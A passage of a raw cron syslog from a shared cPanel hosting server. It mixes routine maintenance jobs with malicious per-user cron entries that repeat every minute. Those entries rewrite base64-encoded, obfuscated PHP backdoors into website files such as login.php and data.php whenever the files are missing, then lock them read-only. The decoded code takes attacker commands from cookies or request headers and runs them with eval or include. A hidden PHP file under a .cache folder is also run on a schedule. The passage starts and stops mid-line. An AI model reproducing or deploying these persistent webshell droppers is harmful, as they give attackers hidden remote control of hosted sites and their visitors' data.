YyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:07:01 medusa CROND[19386]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 00:07:01 medusa CROND[19388]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:07:01 medusa CROND[19390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:07:01 medusa CROND[19391]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:07:01 medusa CROND[19393]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:07:01 medusa CROND[19394]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:07:01 medusa CROND[19396]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:07:01 medusa CROND[19395]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:07:01 medusa CROND[19403]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:07:01 medusa CROND[19408]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:07:01 medusa CROND[19409]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:07:01 medusa CROND[19410]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:08:01 medusa CROND[26450]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:08:01 medusa CROND[26510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:08:01 medusa CROND[26509]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Mar  2 00:08:01 medusa CROND[26511]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:08:01 medusa CROND[26512]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:08:01 medusa CROND[26516]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 00:08:01 medusa CROND[26517]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:08:01 medusa CROND[26518]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:08:01 medusa CROND[26520]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:08:01 medusa CROND[26521]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:08:01 medusa CROND[26522]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:08:01 medusa CROND[26523]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:08:01 medusa CROND[26515]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 00:08:01 medusa CROND[26525]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:09:01 medusa CROND[32474]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:09:01 medusa CROND[32621]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:09:01 medusa CROND[32620]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:09:01 medusa CROND[32622]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:09:01 medusa CROND[32623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:09:01 medusa CROND[32625]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:09:01 medusa CROND[32633]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  2 00:09:01 medusa CROND[32634]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 00:09:01 medusa CROND[32635]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICY